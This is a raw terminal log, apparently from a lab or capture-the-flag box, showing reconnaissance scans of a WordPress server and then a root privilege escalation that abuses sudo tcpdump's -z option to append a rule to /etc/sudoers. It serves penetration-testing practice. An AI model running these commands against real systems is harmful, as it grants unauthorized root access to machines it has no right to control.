$ nmap --min-rate 100000 -p80,22 -A 192.168.240.136 Starting Nmap 7.94SVN ( https://nmap.org ) at2024-12-0819:37 CST Nmap scan report for192.168.240.136 Host is up (0.00036s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA) | 2569c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA) |_ 256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519) 80/tcp openhttp Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Database Error |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 00:0C:29:99:3D:7A (VMware) Warning: OSScan results may be unreliable because we could not find at least 1openand1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 10.36 ms 192.168.240.136
OS and Service detection performed. Please report any incorrect results athttps://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in8.28seconds
$ nikto -host 192.168.240.136 -p 80 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.240.136 + Target Hostname: 192.168.240.136 + Target Port: 80 + StartTime: 2024-12-0819:38:15 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Optionsheaderisnot present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Optionsheaderisnotset. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all'to force checkall possible dirs) + Apache/2.4.29 appears to be outdated (currentis at least Apache/2.4.54). Apache 2.2.34is the EOL for the 2.x branch. + /xmlrpc.php: xmlrpc.php was found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to'version usually matches the WordPress version. + /license.txt: License file found may identify site software. + /wp-admin/: Adminlogin page/section found. + /wp-content/uploads/: Directory indexing found. + /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information. + 8102 requests: 0 error(s) and10 item(s) reported on remote host + EndTime: 2024-12-0819:38:27 (GMT8) (12 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/ @_WPScan_,@ethicalhack3r,@erwan_lr,@firefart _______________________________________________________________
[+] URL: http://192.168.240.136/ [192.168.240.136] [+] Started: Sun Dec 8 19:48:06 2024
Interesting Finding(s):
[+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://192.168.240.136/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://192.168.240.136/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://192.168.240.136/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://192.168.240.136/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02). | Found By: Rss Generator (Passive Detection) | - http://192.168.240.136/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator> | - http://192.168.240.136/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator> | | [+] WordPress theme in use: twentyseventeen | Location: http://192.168.240.136/wp-content/themes/twentyseventeen/ | Last Updated: 2024-11-12T00:00:00.000Z | Readme: http://192.168.240.136/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 3.8 | Style URL: http://192.168.240.136/wp-content/themes/twentyseventeen/style.css?ver=4.9.8 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.7 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.240.136/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7' [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <===================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] webdeveloper | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://192.168.240.136/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 23 [+] Finished: Sun Dec 8 19:48:09 2024 [+] Requests Done: 57 [+] Cached Requests: 9 [+] Data Sent: 13.949 KB [+] Data Received: 338.115 KB [+] Memory used: 180.637 MB [+] Elapsed time: 00:00:03
---- Entering directory: http://192.168.240.136/ipdata/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-includes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-admin/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-admin/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-admin/includes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-admin/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-admin/maint/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.240.136/wp-content/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)
----------------- END_TIME: Sun Dec 819:54:142024 DOWNLOADED: 32284 - FOUND: 12
webdeveloper@webdeveloper:/tmp$ echo 'echo "%webdeveloper ALL=(ALL:ALL) ALL" >> /etc/sudoers' > test.sh webdeveloper@webdeveloper:/tmp$ chmod +x test.sh webdeveloper@webdeveloper:/tmp$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root dropped privs to root tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached:1 1 packet captured 14 packets received by filter 0 packets dropped by kernel webdeveloper@webdeveloper:/tmp$ sudo -l MatchingDefaults entries for webdeveloper on webdeveloper: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webdeveloper may run the following commands on webdeveloper: (root) /usr/sbin/tcpdump (ALL : ALL) ALL webdeveloper@webdeveloper:/tmp$ sudo su root@webdeveloper:/tmp#
